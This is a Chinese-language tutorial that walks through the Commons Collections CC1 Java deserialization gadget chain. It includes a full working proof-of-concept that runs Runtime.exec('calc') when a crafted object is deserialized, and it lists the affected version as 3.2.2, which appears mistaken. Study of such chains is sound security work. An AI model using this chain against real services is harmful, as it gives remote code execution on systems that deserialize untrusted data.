Java反序列化之CommonsCollections CC1链分析

前言

cc链的研究可以说是非常适合java代码审计的入门篇了,十分考验java代码功力,其实也是基础功,跨过了这个门槛,在看看其他业务代码就会比较轻松了。不要说代码难,看不懂,作者也是刚入门java没几个月的小白,只要基本功扎实,慢慢看 慢慢调式。你也会慢慢明白其中的运行逻辑。

环境准备

Java 存档下载 — Java SE 8 | Oracle 中国

https://hg.openjdk.org/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip

我们需要下载链接1的jdk版本安装,高版本的jdk可能与本次调试的执行流不一致。之后我们需把链接2下载下来,将sun目录拷贝到jre安装目录,这样做的目的也是为了看到sun包下的源文件便于调式。最后在idea中将sun目录加进去。

将本次用的lib库 commos-collections-3.2.1 下载下来添加进去

现在上本次测试的代码,正常正常执行后 会弹出本次的计算器。

package com.aqn.core;
​
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
​
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
​
public class POC {public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {//Runtime r = Runtime.getRuntime();/*      Class c = Runtime.class;Method getRuntimeMethod = c.getMethod("getRuntime", null);Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);Method execMethod = c.getMethod("exec", String.class);execMethod.invoke(r,"calc");*//*     Method getRuntimeMethod = (Method)new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}).transform(Runtime.class);
​Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}).transform(getRuntimeMethod);
​new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
*/Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
​};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);//chainedTransformer.transform(Runtime.class);
​
​//InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});HashMap<Object, Object> map = new HashMap<>();map.put("value","bbb");Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
/*        for(Map.Entry entry:transformedMap.entrySet()){//          entry.setValue(Runtime.class);}*///AnnotationInvocationHandler/*  Reader*/Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);annotationInvocationdhdlConstructor.setAccessible(true);Object o = annotationInvocationdhdlConstructor.newInstance(Target.class,transformedMap);
​serialize(o);unserialize("ser.bin");
​}public static void serialize(Object obj) throws IOException, IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}
}

接下来我会一步地一步地的分析 是怎么从最开始的代码一步一步地写成这样。

前置知识

一段调用本机计算器的poc代码

Runtime.getRuntime().exec("calc"); 

没错是可以执行调用的,现在改写成反射调用的反射、

Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class); 
execMethod.invoke(r,"calc");

正片开始....

commons-collections 介绍

commons-collections 是 Apache Commons 项目中的一个子项目,它提供了一组有用的集合类,这些类扩展了 Java 标准库中的集合类,并提供了许多额外的功能。

commons-collections 包含了许多常用的数据结构和算法,包括列表、队列、堆、映射等。它还提供了许多集合的实用工具类,如 CollectionUtils、MapUtils、PredicateUtils 等,用于简化集合操作。

影响版本 3.2.2

InvokerTransformer 任意方法反射调用

InvokerTransformer继承接口Transformer, 接口Transformer只有一个方法transform(Object init)

public class InvokerTransformer implements Transformer, Serializable

它其中的一个构造函数接收方法名,方法参数类型,方法参数(数组)

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {this.iMethodName = methodName;this.iParamTypes = paramTypes;this.iArgs = args;
}

类InvokerTransformer中有一个transform的方法(可接收实例化对象)(也是对接口Transformer的实现), 欲将刚才接收的方法 通过反射实现。

public Object transform(Object input) {if (input == null) {return null;} else {try {Class cls = input.getClass();Method method = cls.getMethod(this.iMethodName, this.iParamTypes);return method.invoke(input, this.iArgs);} catch (NoSuchMethodException var4) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException var5) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException var6) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);}}
}

仔细看method.invoke(input, this.iArgs); 其中method,input,iargs都是我们可控的参数,因此是可以实现任意方法的反射调用。

现在看一下Runtime.getRuntime().exec("calc"); 的普通反射

Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class); 
execMethod.invoke(r,"calc");

由此和InvokerTransformer结合生成 调用calc代码

初步建立利用链

Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

思考谁调用了中的transform(同名即可)方法 (目标回到object),右键Find Usages

调用transform

类TransformedMap 的继承实现关系

public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable

类TransformedMap中 有checkSetValue方法(protected只能被自己调用) 调用了transform

protected Object checkSetValue(Object value) {return this.valueTransformer.transform(value);
}

valueTransformer是否可控?看一看TransformedMap的构造函数(也是protected)

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {super(map);this.keyTransformer = keyTransformer;this.valueTransformer = valueTransformer;
}

的确可控,那么类中谁可以调用TransformedMap方法呢!

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);
}

类TransformedMap中 的静态方法decorate 可以调用TransformedMap的构造方法 顺便实例化了TransformedMap类

由此我们可以再次改进代码。(用静态方法调用产生实例,这里跟设计模式理念有关)

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
​
HashMap<Object, Object> map = new HashMap<>();
TransformedMap transformedMap = (TransformedMap)TransformedMap.decorate(map,null,invokerTransformer);

如此 现在只需调用类transformedMap中的 checkSetValue(Object value) 方法, value 需是Runtime实例化对象r 便可执行calc了。

一样的套路继续需找调用checkSetValue方法的地方

在类TransformedMap的父类AbstractInputCheckedMapDecorator中有一个静态内部类,

static class MapEntry extends AbstractMapEntryDecorator {private final AbstractInputCheckedMapDecorator parent;
​protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {super(entry);this.parent = parent;}public Object setValue(Object value) {value = this.parent.checkSetValue(value);return this.entry.setValue(value);}...    
}
​

其中方法setValue调用了 checkSetValue,那么参数是否可控呢!查看它的构造函数。

value可控 可以把setValue的参数传进去;也就是传入Runtime实例化对象r

parent 可控 可以由静态类MapEntry 的构造方法传进去;由于TransformedMap继承了AbstractInputCheckedMapDecorator 所以欲传入TransformedMap是可行的

如果上述parent 参数调整好后,就要考虑谁可以调用方法setValue 相关参数是都可控

正常来讲 要遍历map使用MapEntry 就会调用setValue ,而参数value可控 ,就是map键值对的value

现在欲调整代码setValue

Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);for(Map.Entry entry:transformedMap.entrySet()){entry.setValue(r);
}

接下分析下此段代码的执行流,这里我不得不运行调试了,因为遍历map有很多规则,都是编译器执行的,仅靠分析源码还是很困难的。

TransformedMap中没有entrySet() 父类AbstractInputCheckedMapDecorator有

public Set entrySet() {return (Set)(this.isSetValueChecking() ? new AbstractInputCheckedMapDecorator.EntrySet(this.map.entrySet(), this) : this.map.entrySet());
}

追入this.isSetValueChecking() this就是transformedMap

protected boolean isSetValueChecking() {return this.valueTransformer != null;
}

valueTransformer就是之前设置的invokerTransformer不为空 返回true,进入new AbstractInputCheckedMapDecorator.EntrySet(this.map.entrySet(), this)

static class EntrySet extends AbstractSetDecorator {private final AbstractInputCheckedMapDecorator parent;protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {super(set);this.parent = parent;}
}

用内部静态类的构造器EntrySet() 实例化EntrySet类,其中parent是对象TransformedMap

接下来就是遍历准备了,调试进入代码

public Iterator iterator() {return new AbstractInputCheckedMapDecorator.EntrySetIterator(this.collection.iterator(), this.parent);
}

这里this是AbstractInputCheckedMapDecorator$EntrySet 可以看到TransformedMap 传进去了(this.parent)。

跟踪到EntrySetIterator

static class EntrySetIterator extends AbstractIteratorDecorator {private final AbstractInputCheckedMapDecorator parent;
​protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {super(iterator);this.parent = parent;}
​
}

可以看到将我们的TransformedMap 存入到了EntrySetIterator类中了

由此得出iterator方法的结论:实例化了AbstractInputCheckedMapDecorator的内部静态类EntrySetIterator,之后返回主代码 开始遍历

public boolean hasNext() {return this.iterator.hasNext();
}

再次调试进入

public Object next() {Entry entry = (Entry)this.iterator.next();return new AbstractInputCheckedMapDecorator.MapEntry(entry, this.parent);
}

可以看到又实例化了AbstractInputCheckedMapDecorator.MapEntry(静态内部类) 而且传入的参数就是准备的TransformedMap(this.parent)。

为什么这么说呢,因为这里的this是AbstractlnputCheckedMapDecorator$EntrySetlterator@516,还记得之前将TransformedMap存入到此类中吗!没错TransformedMap对象又一次传入了MapEntry

static class MapEntry extends AbstractMapEntryDecorator {private final AbstractInputCheckedMapDecorator parent;
​
protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {super(entry);this.parent = parent;
}
...

此刻是不是parent的问题解决了! 接下来就是参数value了。

以上调试代码

Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);for(Map.Entry entry:transformedMap.entrySet()){entry.setValue(r);
}

在类AnnotationInvocationHandler中 有readObject方法调用了setValue

package sun.reflect.annotation;
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();
​// Check to make sure that types have not evolved incompatibly
​AnnotationType annotationType = null;try {annotationType = AnnotationType.getInstance(type);} catch(IllegalArgumentException e) {// Class is no longer an annotation type; time to punch outthrow new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");}
​Map<String, Class<?>> memberTypes = annotationType.memberTypes();
​// If there are annotation members without values, that// situation is handled by the invoke method.for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);if (memberType != null) {  // i.e. member still existsObject value = memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));}}}
}

看一看类中AnnotationInvocationHandler 有什么参数是直接可以控制的

 AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {Class<?>[] superInterfaces = type.getInterfaces();if (!type.isAnnotation() ||superInterfaces.length != 1 ||superInterfaces[0] != java.lang.annotation.Annotation.class)throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");this.type = type;this.memberValues = memberValues;}

注意上述代码的memberValues 这个map类型的参数待会在readObject方法中可是要 执行memberValues.entrySet()来遍历的

这是不是非常像之前我们写的map遍历,那么现在不同了 既然AnnotationInvocationHandler类readObject方法中有这个遍历的操作,那么我们的写的遍历操作就不必了,这也是解决parent的问题的,

由于AnnotationInvocationHandler类没有public (就是默认的default 无法在主程序中获取) ,我们需要进行反射。

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
Object o = annotationInvocationdhdlConstructor.newInstance(Override.class,transformedMap);
​
serialize(o);
unserialize("ser.bin");

序列化函数参考

public static void serialize(Object obj) throws IOException, IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}

因为序列化,已经调用了AnnotationInvocationHandler的readObject方法了

现在考虑下要传进入的对象r了,看setvalue哪里,

memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));}

传入的参数似乎是不可控的,那有没有其他的解决方案呢!不传参行不行!

无法传参问题

这次我们不传参了! 使用反射的机配合InvokerTransformer机制实例化Runtime r

现在先对下面的代码优化一下,使用InvokerTransformer进行改进,

Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class); 
execMethod.invoke(r,"calc");
Method getRuntimeMethod = (Method)new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}).transform(Runtime.class);
​
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}).transform(getRuntimeMethod);
​
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);     
这里还可以继续改进,使用ChainedTransformer递归调用
Transformer[] transformers = new Transformer[]{new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
​
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

看一下ChainedTransformer类

public class ChainedTransformer implements Transformer, Serializable {private static final long serialVersionUID = 3514945074733160196L;private final Transformer[] iTransformers;...

此类中也有一个transform的方法

public Object transform(Object object) {for(int i = 0; i < this.iTransformers.length; ++i) {object = this.iTransformers[i].transform(object);}
​return object;
}

这段代码的逻辑将上一个执行的返回参数传递给本次执行参数,所以上述代码的修改是可行的,不过我们需要传递Runtime.class作为第一个要处理的object,有没有方法不传递呢!

有这么一个有趣的类ConstantTransformer

public class ConstantTransformer implements Transformer, Serializable {...private final Object iConstant;...

构造函数

public ConstantTransformer(Object constantToReturn) {this.iConstant = constantToReturn;
}

它也有transform方法

public Object transform(Object input) {return this.iConstant;
}

只所以说它有趣是因为它的transform返回之前的构造函数传参对象

这样不是解决了Runtime.class 要作为一个参数的问题!

于是这样的代码产生了

public class POC {public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
​Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> map = new HashMap<>();map.put("aaa","bbb");Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
​Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);annotationInvocationdhdlConstructor.setAccessible(true);Object o = annotationInvocationdhdlConstructor.newInstance(Override.class,transformedMap);
​serialize(o);unserialize("ser.bin");}public static void serialize(Object obj) throws IOException, IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}
​
}

现在不用传参也可以了, 只剩下最后一个问题了

确保真的进入了setValue(),

private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();
​// Check to make sure that types have not evolved incompatiblyAnnotationType annotationType = null;try {annotationType = AnnotationType.getInstance(type);} catch(IllegalArgumentException e) {// Class is no longer an annotation type; time to punch outthrow new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");}Map<String, Class<?>> memberTypes = annotationType.memberTypes();// If there are annotation members without values, that// situation is handled by the invoke method.for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);if (memberType != null) {  // i.e. member still existsObject value = memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));}}}
​
}

这此之前有两个if条件要为真

注解绕过

重点看这段AnnotationInvocationHandler类中的readobject()方法的代码

    String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);if (memberType != null) {  // i.e. member still exists

还记得反序列化先我们AnnotationInvocationHandler 存入什么了吗!(以下面的代码为例分析)

HashMap<Object, Object> map = new HashMap<>();
map.put("aaa","bbb");
​
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
Object o = annotationInvocationdhdlConstructor.newInstance(Override.class,transformedMap);

它的内部成员 type,memberValues 分别是我们传入的注解Override 和 Map

变memberValues 为memberValue 调用getKey() 得到键值队的键; (这里得到的值就是aaa)。

 Class<?> memberType = memberTypes.get(name);

这里,name是你要查找的成员类型的名称。这个方法将返回与该名称对应的成员类型(Class对象)。如果memberTypes中没有与该名称对应的成员类型,那么这个方法将返回null、(本质上有键值对的key得到value 这里面的存的就是方法 和方法类型,后面会有分析)

memberType要想不为空,memberTypes的成员必需要有name,name是我们的可控参数。

追踪调试memberTypes是怎么来的,是否可控!向上找

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

进入annotationType.memberTypes()

public Map<String, Class<?>> memberTypes() {return memberTypes;
}

memberTypes在annotationType中定义,那么这个成员是何时被赋值的呢!

private final Map<String, Class<?>> memberTypes;

右键寻找调用者; readobject 中用了他(memberTypes)

annotationType = AnnotationType.getInstance(type);private AnnotationType(final Class<? extends Annotation> annotationClass) {if (!annotationClass.isAnnotation())throw new IllegalArgumentException("Not an annotation type");
​Method[] methods =AccessController.doPrivileged(new PrivilegedAction<Method[]>() {public Method[] run() {// Initialize memberTypes and defaultValuesreturn annotationClass.getDeclaredMethods();}});
​memberTypes = new HashMap<String,Class<?>>(methods.length+1, 1.0f);memberDefaults = new HashMap<String, Object>(0);members = new HashMap<String, Method>(methods.length+1, 1.0f);
​for (Method method :  methods) {if (method.getParameterTypes().length != 0)throw new IllegalArgumentException(method + " has params");String name = method.getName();Class<?> type = method.getReturnType();memberTypes.put(name, invocationHandlerReturnType(type));members.put(name, method);...

传入的type是我们可控制可传入的注解类

简单看一下代码逻辑传入的名称变为了annotationClass,annotationClass.getDeclaredMethods() 得到该类的成员方法名称,

for (Method method : methods) 遍历这个方法数组

String name = method.getName(); Class<?> type = method.getReturnType(); memberTypes.put(name, invocationHandlerReturnType(type));
members.put(name, method);

从代码上看memberTypes 为map 键值对的键存方法名称 值为方法的类型

故我们找一个有成员方法的注解 将该方法的名作为传入map 的键名,如此一来memberType就是该方法的类型 这样不为空就可以进去if了

在Override的邻居里 有一个Target的注解

它里面可是有成员方法的

@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.ANNOTATION_TYPE)
public @interface Target {/*** Returns an array of the kinds of elements an annotation type* can be applied to.* @return an array of the kinds of elements an annotation type* can be applied to*/ElementType[] value();
}

那好我们把这个注解传入键入AnnotationInvocationHandler map的键设置 为value

最终形成代码如下

package com.aqn.core;
​
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
​
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
​
public class POC {public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
​Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
​};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
​HashMap<Object, Object> map = new HashMap<>();map.put("value","bbb");Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
​Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);annotationInvocationdhdlConstructor.setAccessible(true);Object o = annotationInvocationdhdlConstructor.newInstance(Target.class,transformedMap);
​serialize(o);unserialize("ser.bin");
​}public static void serialize(Object obj) throws IOException, IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}
}
成功跳出计算器

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/124286.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python UI自动化 —— 关键字+excel表格数据驱动

步骤&#xff1a; 1. 对selenium进行二次封装&#xff0c;创建关键字的库 2. 准备一个表格文件来写入所有测试用例步骤 3. 对表格内容进行读取&#xff0c;使用映射关系来对用例进行调用执行 4. 执行用例 1. 对selenium进行二次封装&#xff0c;创建关键字的库 from time imp…

Cortex-A7 架构

参考《 Cortex-A7 Technical ReferenceManua.pdf 》和《 ARM Cortex-A(armV7) 编程手 册 V4.0.pdf 》 【 正点原子】I.MX6U嵌入式Linux驱动开发指南V1.6学习 1.Cortex-A7 MPCore 简介 I.MX6UL 使用的是 Cortex-A7 架构&#xff0c;Cortex-A7 MPcore 处理器支持 1~4 核&#…

kubeadm 安装k8s

目录 安装k8s 环境准备 所有节点&#xff0c;关闭防火墙规则&#xff0c;关闭selinux&#xff0c;关闭swap交换&#xff08;必须关闭swap分区&#xff09; //修改主机名 //所有节点修改hosts文件 //调整内核参数 所有节点安装docker 所有节点安装kubeadm&#xff0c;kube…

Layui快速入门之第一节Layui的基本使用

目录 一&#xff1a;Layui的基本概念 二&#xff1a;Layui使用的基本步骤 1.在官网下载layui的基本文件&#xff0c;引入css和js文件 ①&#xff1a;普通方式引入 ②&#xff1a;第三方 CDN 方式引入 2.在script标签体中编写代码 3.测试 一&#xff1a;Layui的基本概念 …

Cmake入门(一文读懂)

目录 1、Cmake简介2、安装CMake3、CMakeLists.txt4、单目录简单实例4.1、CMakeLists.txt4.2、构建bulid内部构建外部构建 4.3、运行C语言程序 5、多目录文件简单实例5.1、根目录CMakeLists.txt5.2、源文件目录5.3、utils.h5.4、创建build 6、生成库文件和链接外部库文件7、注意…

C#备份数据库文件

c#备份数据库文件完整代码 sqlServer 存储过程&#xff1a; USE [PSIDBase] GO /****** Object: StoredProcedure [dbo].[sp_BackupDB] Script Date: 2023/8/31 16:49:02 ******/ SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GOALTER procedure [dbo].[sp_BackupDB]…

k8s 入门到实战--部署应用到 k8s

k8s 入门到实战 01.png 本文提供视频版&#xff1a; 背景 最近这这段时间更新了一些 k8s 相关的博客和视频&#xff0c;也收到了一些反馈&#xff1b;大概分为这几类&#xff1a; 公司已经经历过服务化改造了&#xff0c;但还未接触过云原生。公司部分应用进行了云原生改造&…

863. 二叉树中所有距离为 K 的结点

863. 二叉树中所有距离为 K 的结点 C代码&#xff1a;dfs /*** struct TreeNode {* int val;* struct TreeNode *left;* struct TreeNode *right;* };*/typedef struct {int key;struct TreeNode* node;UT_hash_handle hh; } HashTable;HashTable* head; int* ans…

【List篇】ArrayList 详解(含图示说明)

Java中的ArrayList是一个动态数组&#xff0c;可以自动扩展容量以适应数据的添加和删除。它可以用来存储各种类型的数据&#xff0c;例如String&#xff0c;Integer&#xff0c;Boolean等。ArrayList实现了List接口&#xff0c;可以进行常见的List操作&#xff0c;例如添加、插…

命令行git联网失败,但是实际可以联网

最近下载代码的时候发现总是告诉我连不上github的网页&#xff0c;但是我自己通过浏览器又可以上网&#xff0c;找了半天发现这个方法可以。 记录下这个代理 打开git bash 执行以下命令&#xff1a; git config --global http.proxy http://127.0.0.1:7890 git config --glob…

VLAN笔记

虚拟VLAN 什么是VLAN VLAN的作用 VLAN的优缺点 VLAN的配置方法 VLAN有哪些接口模式 access与trunk接口的区别 Hybrid接口 拓扑实验enspCiscoH3C ​ 什么是VLAN VLAN&#xff08;Virtual Local Area Network&#xff09;又称虚拟局域网&#xff0c;是指在交换局域网的基础上&a…

# 如何使用 GitHub Copilot 发送 Tweet(译)

文章目录 首先&#xff0c;什么是 GitHub Copilot为什么我使用GitHub Copilot 发送 Tweet&#xff1f;理由 1理由 2理由 3 它对你来说有什么价值&#xff1f;如何使用 Copilot 发送推文步骤一&#xff1a;注册 Twitter 开发者账户步骤二&#xff1a;在 Twitter 开发者平台创建应…

HAProxy终结TLS双向认证代理EMQX集群

文章目录 1. 背景介绍2. 系统架构3. 证书签发3.1 创建根证书3.2 创建中间证书3.3 创建设备证书3.4 创建服务端证书 4. HAProxy开启双向认证5. 验证6. 总结 1. 背景介绍 MQTT协议已经成为当前物联网领域的关键技术之一&#xff0c;当前市面上主流的实现MQTT协议的产品主要有 EMQ…

Visio文件编辑查看工具Visio Viewer for Mac

Visio Viewer for Mac(Visio文件编辑查看工具)激活版带给大家&#xff01;Visio Viewer for Mac是一款能够快速的打开Visio文件&#xff0c;包括 vsd 和 vsds 格式的文件编辑查看工具&#xff0c;Visio Viewer mac支持放大和缩小浏览&#xff0c;并可以将Visio绘图文件转换为PD…

Flink提交jar出现错误RestHandlerException: No jobs included in application.

今天打包一个flink的maven工程为jar&#xff0c;通过flink webUI提交&#xff0c;发现居然报错。 如上图所示&#xff0c;提示错误为&#xff1a; Server Response Message: org.apache.flink.runtime.rest.handler.RestHandlerException: No jobs included in application. …

使用SimPowerSystems并网光伏阵列研究(Simulink实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

09:STM32-------USART串口通信+串口数据包

目录 一:串口协议 1:通信接口 2:串口通信 3:硬件电路 4:电平标准 5:串口参数及其时序 二:USART介绍 1:简历 2:USART框图 3:USART的基本结构 4:数据帧 5: 波特率发生器 6:数据模式 三:案例 A:串口发送--单发送 1:连接图 2:函数介绍 3:代码 B:串口发送接收 1…

《CTFshow-Web入门》09. Web 81~90

Web 入门 索引web81题解 web82题解原理 web83题解 web84题解 web85题解 web86题解 web87题解原理 web88题解 web89题解 web90题解 ctf - web入门 索引 web81&#xff1a;include() 利用&#xff0c;一句话木马之 Nginx 日志利用。web82~86&#xff1a;include() 利用&#xff…

ES6中let和const关键字与var关键字之间的区别?

聚沙成塔每天进步一点点 ⭐ 专栏简介⭐ 变量作用域&#xff08;Scope&#xff09;&#xff1a;⭐ 变量提升&#xff08;Hoisting&#xff09;&#xff1a;⭐ 重复声明&#xff1a;⭐ 初始化&#xff1a;⭐ 全局对象属性&#xff1a;⭐ 写在最后 ⭐ 专栏简介 前端入门之旅&#…

【问题总结】 记 一次dockerFile构建报错

写在前面&#xff0c; 其实是一个比较摸不着脑袋的bug&#xff0c;记录一下解决的过程&#xff0c;作为备忘录 问题留档 1、场景描述 在尝试使用dockefile构建一个tomcat镜像&#xff0c;内容如下&#xff0c;构建正常通过&#xff0c;但是容器启动失败 FROM centos:7 MAINT…